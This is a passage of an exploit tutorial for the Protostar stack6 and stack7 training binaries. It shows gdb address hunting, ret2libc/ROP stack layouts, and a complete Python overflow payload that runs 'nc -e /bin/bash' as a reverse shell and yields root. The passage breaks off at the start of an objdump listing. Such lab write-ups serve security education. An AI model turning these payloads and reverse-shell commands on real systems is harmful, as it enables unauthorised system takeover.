span class="code-line"span class="normal"28/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"ls/span/span
span class="code-line"span class="go"final0/span/span
span class="code-line"span class="go"final1/span/span
span class="code-line"span class="go"final2/span/span
span class="code-line"span class="go"format0/span/span
span class="code-line"span class="go"format1/span/span
span class="code-line"span class="go"format2/span/span
span class="code-line"span class="go"format3/span/span
span class="code-line"span class="go"format4/span/span
span class="code-line"span class="go"heap0/span/span
span class="code-line"span class="go"heap1/span/span
span class="code-line"span class="go"heap2/span/span
span class="code-line"span class="go"heap3/span/span
span class="code-line"span class="go"net0/span/span
span class="code-line"span class="go"net1/span/span
span class="code-line"span class="go"net2/span/span
span class="code-line"span class="go"net3/span/span
span class="code-line"span class="go"net4/span/span
span class="code-line"span class="go"stack0/span/span
span class="code-line"span class="go"stack1/span/span
span class="code-line"span class="go"stack2/span/span
span class="code-line"span class="go"stack3/span/span
span class="code-line"span class="go"stack4/span/span
span class="code-line"span class="go"stack5/span/span
span class="code-line"span class="go"stack6/span/span
span class="code-line"span class="go"stack7/span/span
span class="code-line"span class="go"whoami/span/span
span class="code-line"span class="go"root/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSo, we can still run our shellcode, we just have an extra step to bypass the check that is done on the return address./p
h2Stack6: Ret2Libc and ROP/h2
pHere we will recreate the exact same exploit for the same application but without using any shellcode./p
pFirst its easiest if we create what we want to run in C first:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="n"setuid/spanspan class="p"(/spanspan class="mi"0/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="n"execve/spanspan class="p"(/spanspan class="s"quot;/bin/bashquot;/spanspan class="p",/spanspan class="w" /spanspan class="p"{/spanspan class="w" /spanspan class="s"quot;/bin/bashquot;/spanspan class="p",/spanspan class="w" /spanspan class="s"quot;-cquot;/spanspan class="p",/spanspan class="w" /spanspan class="s"quot;nc -e /bin/bash 127.0.0.1 9000quot;/spanspan class="w" /spanspan class="p"},/spanspan class="w" /spanspan class="nb"NULL/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSo we need to find the addresses of both codesetuid/code and codeexecve/code, we use codegdb/code for this:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"user@protostar:/opt/protostar/bin$ /spangdb -q ./stack6/span
span class="code-line"span class="go"Reading symbols from /opt/protostar/bin/stack6...done./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"disassemble main/span/span
span class="code-line"span class="go"Dump of assembler code for function main:/span/span
span class="code-line"span class="go"0x080484fa lt;main+0gt;: push %ebp/span/span
span class="code-line"span class="go"0x080484fb lt;main+1gt;: mov %esp,%ebp/span/span
span class="code-line"span class="go"0x080484fd lt;main+3gt;: and $0xfffffff0,%esp/span/span
span class="code-line"span class="go"0x08048500 lt;main+6gt;: call 0x8048484 lt;getpathgt;/span/span
span class="code-line"span class="go"0x08048505 lt;main+11gt;: mov %ebp,%esp/span/span
span class="code-line"span class="go"0x08048507 lt;main+13gt;: pop %ebp/span/span
span class="code-line"span class="go"0x08048508 lt;main+14gt;: ret /span/span
span class="code-line"span class="go"End of assembler dump./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"break *0x080484fa/span/span
span class="code-line"span class="go"Breakpoint 1 at 0x80484fa: file stack6/stack6.c, line 26./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"r/span/span
span class="code-line"span class="go"Starting program: /opt/protostar/bin/stack6 /span/span
span class="code-line"/span
span class="code-line"span class="go"Breakpoint 1, main (argc=1, argv=0xbffff864) at stack6/stack6.c:26/span/span
span class="code-line"span class="go"26 stack6/stack6.c: No such file or directory./span/span
span class="code-line"span class="go" in stack6/stack6.c/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"print setuid/span/span
span class="code-line"span class="gp"$/spanspan class="nv"1/span span class="o"=/span span class="o"{/spanlt;text variable, no debug infogt;span class="o"}/span 0xb7f2ec80 lt;__setuidgt;/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"print execve/span/span
span class="code-line"span class="gp"$/spanspan class="nv"2/span span class="o"=/span span class="o"{/spanlt;text variable, no debug infogt;span class="o"}/span 0xb7f2e170 lt;__execvegt;/span
span class="code-line"/code/pre/div
/td/tr/table
pAs you can see, the address of setuid doesn't start with codebf/code so we can use this as our initial return address./p
pWe now want to address of our ROP gadget, this will just be responsible for cleaning up the stack after the call to setuid, so this time we want a codepop [register], ret/code sequence of instructions./p
pAgain we can use codeobjdump/code to find this, I won't post another dump of the binary but there are many of these sequencies we can use, I'll use the one at code0x80485a8/code./p
pWe can put our strings in to variables but this time, because we can insert null bytes (strong\0/strong), I will put the strings at the start of the payload./p
pThe number of bytes that the strings will occupy is:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"user@protostar:/opt/protostar/bin$ /spanspan class="nb"echo/span -n span class="s2"quot;/bin/bash -c nc -e /bin/bash 127.0.0.1 9000 quot;/span span class="p"|/span wc -c/span
span class="code-line"span class="go"44/span/span
span class="code-line"/code/pre/div
/td/tr/table
pWe know we have 80 bytes before we overwrite the return address, so we need code80-44 = 36/code bytes of padding after our strings./p
pSo here is how we want the stack to look after we overflow it:/p
pimg src="/assets/images/x86-32-linux/pseudo-stack.jpg" width="400"/p
pWe have all of these addresses except 11, 12, 14 and 15. Let's work these out now./p
pFirst 14 is just 10 bytes away from the start of our payload, and we already know the start of our payload is code0xbffff78c/code from the last exploit, so code0xbffff78c+0xa = 0xbffff796/code./p
p15 is just 3 bytes from 13 so code0xbffff796+0x3 = 0xbffff799/code./p
p11 is the start of our payload plus 80 bytes, then plus code8*4 = 32/code (there are 8 addresses before the argument list starts, each 4 bytes long), so code0xbffff78c+0x50+0x20 = 0xbffff7fc/code./p
p12 is just code3*4 = 12/code bytes away from 10 (because there are 3 4 byte addresses before the null pointer), so code0xbffff7fc+0xc = 0xbffff808/code./p
pSo with all of this information our stack should look like this:/p
pimg src="/assets/images/x86-32-linux/stack6-payload.jpg" width="400"/p
pObviously all of the addresses have to be put in in a href="https://en.wikipedia.org/wiki/Endianness#Little-endian" target="_blank"little endian/a format./p
pNow we can test this, first start our listener:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"user@protostar:~$ /spannc -l -p span class="m"9000/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"user@protostar:/opt/protostar/bin$ /spanpython -c span class="s1"#39;print quot;/bin/bash\x00-c\x00nc -e /bin/bash 127.0.0.1 9000\x00quot; + quot;Aquot; * 36 + quot;\x80\xec\xf2\xb7quot; + quot;\xa8\x85\x04\x08quot; + quot;\x00\x00\x00\x00quot; + quot;\x70\xe1\xf2\xb7quot; + quot;JUNKquot; + quot;\x8c\xf7\xff\xbfquot; + quot;\xfc\xf7\xff\xbfquot; + quot;\x08\xf8\xff\xbfquot; + quot;\x8c\xf7\xff\xbfquot; + quot;\x96\xf7\xff\xbfquot; + quot;\x99\xf7\xff\xbfquot; + quot;\x00\x00\x00\x00quot;#39;/span span class="p"|/span ./stack6/span
span class="code-line"span class="go"input path please: got path /bin/bash/span/span
span class="code-line"/code/pre/div
/td/tr/table
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"pwd/span/span
span class="code-line"span class="go"/opt/protostar/bin/span/span
span class="code-line"span class="go"whoami/span/span
span class="code-line"span class="go"root/span/span
span class="code-line"/code/pre/div
/td/tr/table
pSolved!/p
h2Stack7: The App/h2
pThis challenge is very similar to the previous 1 except the return address is not allowed to begin with codeb/code instead of codebf/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/span
span class="code-line"span class="normal"31/span/span
span class="code-line"span class="normal"32/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;stdlib.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;unistd.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;stdio.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;string.hgt;/spanspan class="cp"/span/span
span class="code-line"/span
span class="code-line"span class="kt"char/spanspan class="w" /spanspan class="o"*/spanspan class="nf"getpath/spanspan class="p"()/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"char/spanspan class="w" /spanspan class="n"buffer/spanspan class="p"[/spanspan class="mi"64/spanspan class="p"];/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"unsigned/spanspan class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"ret/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;input path please: quot;/spanspan class="p");/spanspan class="w" /spanspan class="n"fflush/spanspan class="p"(/spanspan class="n"stdout/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="n"gets/spanspan class="p"(/spanspan class="n"buffer/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="n"ret/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"__builtin_return_address/spanspan class="p"(/spanspan class="mi"0/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="p"((/spanspan class="n"ret/spanspan class="w" /spanspan class="o"amp;/spanspan class="w" /spanspan class="mh"0xb0000000/spanspan class="p")/spanspan class="w" /spanspan class="o"==/spanspan class="w" /spanspan class="mh"0xb0000000/spanspan class="p")/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;bzzzt (%p)/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p",/spanspan class="w" /spanspan class="n"ret/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"_exit/spanspan class="p"(/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;got path %s/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p",/spanspan class="w" /spanspan class="n"buffer/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"return/spanspan class="w" /spanspan class="n"strdup/spanspan class="p"(/spanspan class="n"buffer/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"int/spanspan class="w" /spanspan class="nf"main/spanspan class="p"(/spanspan class="kt"int/spanspan class="w" /spanspan class="n"argc/spanspan class="p",/spanspan class="w" /spanspan class="kt"char/spanspan class="w" /spanspan class="o"**/spanspan class="n"argv/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"getpath/spanspan class="p"();/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"/span
span class="code-line"/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
h2Stack7: Exploitation/h2
pWe could use exactly the same method as the last 1 and just put a pointer to a coderet/code instruction before the call to codesetuid/code but I want to show a different way to do it./p
pI'm going to use codesystem/code instead of codeexecve/code and put my string into an environment variable./p
pFirst let's find the addresses of codesetuid/code and codesystem/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"user@protostar:/opt/protostar/bin$ /spangdb -q ./stack7/span
span class="code-line"span class="go"Reading symbols from /opt/protostar/bin/stack7...done./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"set disassembly-flavor intel/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"disassemble main/span/span
span class="code-line"span class="go"Dump of assembler code for function main:/span/span
span class="code-line"span class="go"0x08048545 lt;main+0gt;: push ebp/span/span
span class="code-line"span class="go"0x08048546 lt;main+1gt;: mov ebp,esp/span/span
span class="code-line"span class="go"0x08048548 lt;main+3gt;: and esp,0xfffffff0/span/span
span class="code-line"span class="go"0x0804854b lt;main+6gt;: call 0x80484c4 lt;getpathgt;/span/span
span class="code-line"span class="go"0x08048550 lt;main+11gt;: mov esp,ebp/span/span
span class="code-line"span class="go"0x08048552 lt;main+13gt;: pop ebp/span/span
span class="code-line"span class="go"0x08048553 lt;main+14gt;: ret /span/span
span class="code-line"span class="go"End of assembler dump./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"break *0x08048545/span/span
span class="code-line"span class="go"Breakpoint 1 at 0x8048545: file stack7/stack7.c, line 27./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"r/span/span
span class="code-line"span class="go"Starting program: /opt/protostar/bin/stack7 /span/span
span class="code-line"/span
span class="code-line"span class="go"Breakpoint 1, main (argc=1, argv=0xbffff864) at stack7/stack7.c:27/span/span
span class="code-line"span class="go"27 stack7/stack7.c: No such file or directory./span/span
span class="code-line"span class="go" in stack7/stack7.c/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"print setuid/span/span
span class="code-line"span class="gp"$/spanspan class="nv"1/span span class="o"=/span span class="o"{/spanlt;text variable, no debug infogt;span class="o"}/span 0xb7f2ec80 lt;__setuidgt;/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"print system/span/span
span class="code-line"span class="gp"$/spanspan class="nv"2/span span class="o"=/span span class="o"{/spanlt;text variable, no debug infogt;span class="o"}/span 0xb7ecffb0 lt;__libc_systemgt;/span
span class="code-line"/code/pre/div
/td/tr/table
pNow we need to find the addresses of our ROP gadgets, the first being just a coderet/code instruction and the second being a codepop [register], ret/code sequence to remove the argument to codesetuid/code before running codesystem/code, although these gadgets will be 1 byte away from each other:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal" 10/span/span
span class="code-line"span class="normal" 11/span/span
span class="code-line"span class="normal" 12/span/span
span class="code-line"span class="normal" 13/span/span
span class="code-line"span class="normal" 14/span/span
span class="code-line"span class="normal" 15/span/span
span class="code-line"span class="normal" 16/span/span
span class="code-line"span class="normal" 17/span/span
span class="code-line"span class="normal" 18/span/span
span class="code-line"span class="normal" 19/span/span
span class="code-line"span class="normal" 20/span/span
span class="code-line"span class="normal" 21/span/span
span class="code-line"span class="normal" 22/span/span
span class="code-line"span class="normal" 23/span/span
span class="code-line"span class="normal" 24/span/span
span class="code-line"span class="normal" 25/span/span
span class="code-line"span class="normal" 26/span/span
span class="code-line"span class="normal" 27/span/span
span class="code-line"span class="normal" 28/span/span
span class="code-line"span class="normal" 29/span/span
span class="code-line"span class="normal" 30/span/span
span class="code-line"span class="normal" 31/span/span
span class="code-line"span class="normal" 32/span/span
span class="code-line"span class="normal" 33/span/span
span class="code-line"span class="normal" 34/span/span
span class="code-line"span class="normal" 35/span/span
span class="code-line"span class="normal" 36/span/span
span class="code-line"span class="normal" 37/span/span
span class="code-line"span class="normal" 38/span/span
span class="code-line"span class="normal" 39/span/span
span class="code-line"span class="normal" 40/span/span
span class="code-line"span class="normal" 41/span/span
span class="code-line"span class="normal" 42/span/span
span class="code-line"span class="normal" 43/span/span
span class="code-line"span class="normal" 44/span/span
span class="code-line"span class="normal" 45/span/span
span class="code-line"span class="normal" 46/span/span
span class="code-line"span class="normal" 47/span/span
span class="code-line"span class="normal" 48/span/span
span class="code-line"span class="normal" 49/span/span
span class="code-line"span class="normal" 50/span/span
span class="code-line"span class="normal" 51/span/span
span class="code-line"span class="normal" 52/span/span
span class="code-line"span class="normal" 53/span/span
span class="code-line"span class="normal" 54/span/span
span class="code-line"span class="normal" 55/span/span
span class="code-line"span class="normal" 56/span/span
span class="code-line"span class="normal" 57/span/span
span class="code-line"span class="normal" 58/span/span
span class="code-line"span class="normal" 59/span/span
span class="code-line"span class="normal" 60/span/span
span class="code-line"span class="normal" 61/span/span
span class="code-line"span class="normal" 62/span/span
span class="code-line"span class="normal" 63/span/span
span class="code-line"span class="normal" 64/span/span
span class="code-line"span class="normal" 65/span/span
span class="code-line"span class="normal" 66/span/span
span class="code-line"span class="normal" 67/span/span
span class="code-line"span class="normal" 68/span/span
span class="code-line"span class="normal" 69/span/span
span class="code-line"span class="normal" 70/span/span
span class="code-line"span class="normal" 71/span/span
span class="code-line"span class="normal" 72/span/span
span class="code-line"span class="normal" 73/span/span
span class="code-line"span class="normal" 74/span/span
span class="code-line"span class="normal" 75/span/span
span class="code-line"span class="normal" 76/span/span
span class="code-line"span class="normal" 77/span/span
span class="code-line"span class="normal" 78/span/span
span class="code-line"span class="normal" 79/span/span
span class="code-line"span class="normal" 80/span/span
span class="code-line"span class="normal" 81/span/span
span class="code-line"span class="normal" 82/span/span
span class="code-line"span class="normal" 83/span/span
span class="code-line"span class="normal" 84/span/span
span class="code-line"span class="normal" 85/span/span
span class="code-line"span class="normal" 86/span/span
span class="code-line"span class="normal" 87/span/span
span class="code-line"span class="normal" 88/span/span
span class="code-line"span class="normal" 89/span/span
span class="code-line"span class="normal" 90/span/span
span class="code-line"span class="normal" 91/span/span
span class="code-line"span class="normal" 92/span/span
span class="code-line"span class="normal" 93/span/span
span class="code-line"span class="normal" 94/span/span
span class="code-line"span class="normal" 95/span/span
span class="code-line"span class="normal" 96/span/span
span class="code-line"span class="normal" 97/span/span
span class="code-line"span class="normal" 98/span/span
span class="code-line"span class="normal" 99/span/span
span class="code-line"span class="normal"100/span/span
span class="code-line"span class="normal"101/span/span
span class="code-line"span class="normal"102/span/span
span class="code-line"span class="normal"103/span/span
span class="code-line"span class="normal"104/span/span
span class="code-line"span class="normal"105/span/span
span class="code-line"span class="normal"106/span/span
span class="code-line"span class="normal"107/span/span
span class="code-line"span class="normal"108/span/span
span class="code-line"span class="normal"109/span/span
span class="code-line"span class="normal"110/span/span
span class="code-line"span class="normal"111/span/span
span class="code-line"span class="normal"112/span/span
span class="code-line"span class="normal"113/span/span
span class="code-line"span class="normal"114/span/span
span class="code-line"span class="normal"115/span/span
span class="code-line"span class="normal"116/span/span
span class="code-line"span class="normal"117/span/span
span class="code-line"span class="normal"118/span/span
span class="code-line"span class="normal"119/span/span
span class="code-line"span class="normal"120/span/span
span class="code-line"span class="normal"121/span/span
span class="code-line"span class="normal"122/span/span
span class="code-line"span class="normal"123/span/span
span class="code-line"span class="normal"124/span/span
span class="code-line"span class="normal"125/span/span
span class="code-line"span class="normal"126/span/span
span class="code-line"span class="normal"127/span/span
span class="code-line"span class="normal"128/span/span
span class="code-line"span class="normal"129/span/span
span class="code-line"span class="normal"130/span/span
span class="code-line"span class="normal"131/span/span
span class="code-line"span class="normal"132/span/span
span class="code-line"span class="normal"133/span/span
span class="code-line"span class="normal"134/span/span
span class="code-line"span class="normal"135/span/span
span class="code-line"span class="normal"136/span/span
span class="code-line"span class="normal"137/span/span
span class="code-line"span class="normal"138/span/span
span class="code-line"span class="normal"139/span/span
span class="code-line"span class="normal"140/span/span
span class="code-line"span class="normal"141/span/span
span class="code-line"span class="normal"142/span/span
span class="code-line"span class="normal"143/span/span
span class="code-line"span class="normal"144/span/span
span class="code-line"span class="normal"145/span/span
span class="code-line"span class="normal"146/span/span
span class="code-line"span class="normal"147/span/span
span class="code-line"span class="normal"148/span/span
span class="code-line"span class="normal"149/span/span
span class="code-line"span class="normal"150/span/span
span class="code-line"span class="normal"151/span/span
span class="code-line"span class="normal"152/span/span
span class="code-line"span class="normal"153/span/span
span class="code-line"span class="normal"154/span/span
span class="code-line"span class="normal"155/span/span
span class="code-line"span class="normal"156/span/span
span class="code-line"span class="normal"157/span/span
span class="code-line"span class="normal"158/span/span
span class="code-line"span class="normal"159/span/span
span class="code-line"span class="normal"160/span/span
span class="code-line"span class="normal"161/span/span
span class="code-line"span class="normal"162/span/span
span class="code-line"span class="normal"163/span/span
span class="code-line"span class="normal"164/span/span
span class="code-line"span class="normal"165/span/span
span class="code-line"span class="normal"166/span/span
span class="code-line"span class="normal"167/span/span
span class="code-line"span class="normal"168/span/span
span class="code-line"span class="normal"169/span/span
span class="code-line"span class="normal"170/span/span
span class="code-line"span class="normal"171/span/span
span class="code-line"span class="normal"172/span/span
span class="code-line"span class="normal"173/span/span
span class="code-line"span class="normal"174/span/span
span class="code-line"span class="normal"175/span/span
span class="code-line"span class="normal"176/span/span
span class="code-line"span class="normal"177/span/span
span class="code-line"span class="normal"178/span/span
span class="code-line"span class="normal"179/span/span
span class="code-line"span class="normal"180/span/span
span class="code-line"span class="normal"181/span/span
span class="code-line"span class="normal"182/span/span
span class="code-line"span class="normal"183/span/span
span class="code-line"span class="normal"184/span/span
span class="code-line"span class="normal"185/span/span
span class="code-line"span class="normal"186/span/span
span class="code-line"span class="normal"187/span/span
span class="code-line"span class="normal"188/span/span
span class="code-line"span class="normal"189/span/span
span class="code-line"span class="normal"190/span/span
span class="code-line"span class="normal"191/span/span
span class="code-line"span class="normal"192/span/span
span class="code-line"span class="normal"193/span/span
span class="code-line"span class="normal"194/span/span
span class="code-line"span class="normal"195/span/span
span class="code-line"span class="normal"196/span/span
span class="code-line"span class="normal"197/span/span
span class="code-line"span class="normal"198/span/span
span class="code-line"span class="normal"199/span/span
span class="code-line"span class="normal"200/span/span
span class="code-line"span class="normal"201/span/span
span class="code-line"span class="normal"202/span/span
span class="code-line"span class="normal"203/span/span
span class="code-line"span class="normal"204/span/span
span class="code-line"span class="normal"205/span/span
span class="code-line"span class="normal"206/span/span
span class="code-line"span class="normal"207/span/span
span class="code-line"span class="normal"208/span/span
span class="code-line"span class="normal"209/span/span
span class="code-line"span class="normal"210/span/span
span class="code-line"span class="normal"211/span/span
span class="code-line"span class="normal"212/span/span
span class="code-line"span class="normal"213/span/span
span class="code-line"span class="normal"214/span/span
span class="code-line"span class="normal"215/span/span
span class="code-line"span class="normal"216/span/span
span class="code-line"span class="normal"217/span/span
span class="code-line"span class="normal"218/span/span
span class="code-line"span class="normal"219/span/span
span class="code-line"span class="normal"220/span/span
span class="code-line"span class="normal"221/span/span
span class="code-line"span class="normal"222/span/span
span class="code-line"span class="normal"223/span/span
span class="code-line"span class="normal"224/span/span
span class="code-line"span class="normal"225/span/span
span class="code-line"span class="normal"226/span/span
span class="code-line"span class="normal"227/span/span
span class="code-line"span class="normal"228/span/span
span class="code-line"span class="normal"229/span/span
span class="code-line"span class="normal"230/span/span
span class="code-line"span class="normal"231/span/span
span class="code-line"span class="normal"232/span/span
span class="code-line"span class="normal"233/span/span
span class="code-line"span class="normal"234/span/span
span class="code-line"span class="normal"235/span/span
span class="code-line"span class="normal"236/span/span
span class="code-line"span class="normal"237/span/span
span class="code-line"span class="normal"238/span/span
span class="code-line"span class="normal"239/span/span
span class="code-line"span class="normal"240/span/span
span class="code-line"span class="normal"241/span/span
span class="code-line"span class="normal"242/span/span
span class="code-line"span class="normal"243/span/span
span class="code-line"span class="normal"244/span/span
span class="code-line"span class="normal"245/span/span
span class="code-line"span class="normal"246/span/span
span class="code-line"span class="normal"247/span/span
span class="code-line"span class="normal"248/span/span
span class="code-line"span class="normal"249/span/span
span class="code-line"span class="normal"250/span/span
span class="code-line"span class="normal"251/span/span
span class="code-line"span class="normal"252/span/span
span class="code-line"span class="normal"253/span/span
span class="code-line"span class="normal"254/span/span
span class="code-line"span class="normal"255/span/span
span class="code-line"span class="normal"256/span/span
span class="code-line"span class="normal"257/span/span
span class="code-line"span class="normal"258/span/span
span class="code-line"span class="normal"259/span/span
span class="code-line"span class="normal"260/span/span
span class="code-line"span class="normal"261/span/span
span class="code-line"span class="normal"262/span/span
span class="code-line"span class="normal"263/span/span
span class="code-line"span class="normal"264/span/span
span class="code-line"span class="normal"265/span/span
span class="code-line"span class="normal"266/span/span
span class="code-line"span class="normal"267/span/span
span class="code-line"span class="normal"268/span/span
span class="code-line"span class="normal"269/span/span
span class="code-line"span class="normal"270/span/span
span class="code-line"span class="normal"271/span/span
span class="code-line"span class="normal"272/span/span
span class="code-line"span class="normal"273/span/span
span class="code-line"span class="normal"274/span/span
span class="code-line"span class="normal"275/span/span
span class="code-line"span class="normal"276/span/span
span class="code-line"span class="normal"277/span/span
span class="code-line"span class="normal"278/span/span
span class="code-line"span class="normal"279/span/span
span class="code-line"span class="normal"280/span/span
span class="code-line"span class="normal"281/span/span
span class="code-line"span class="normal"282/span/span
span class="code-line"span class="normal"283/span/span
span class="code-line"span class="normal"284/span/span
span class="code-line"span class="normal"285/span/span
span class="code-line"span class="normal"286/span/span
span class="code-line"span class="normal"287/span/span
span class="code-line"span class="normal"288/span/span
span class="code-line"span class="normal"289/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"user@protostar:/opt/protostar/bin$ objdump -d ./stack7 -M intel/span/span
span class="code-line"/span
span class="code-line"span class="nl"./stack7/spanspan class="p":/span file format span class="s"elf32-i386/span/span
span class="code-line"/span
span class="code-line"/span
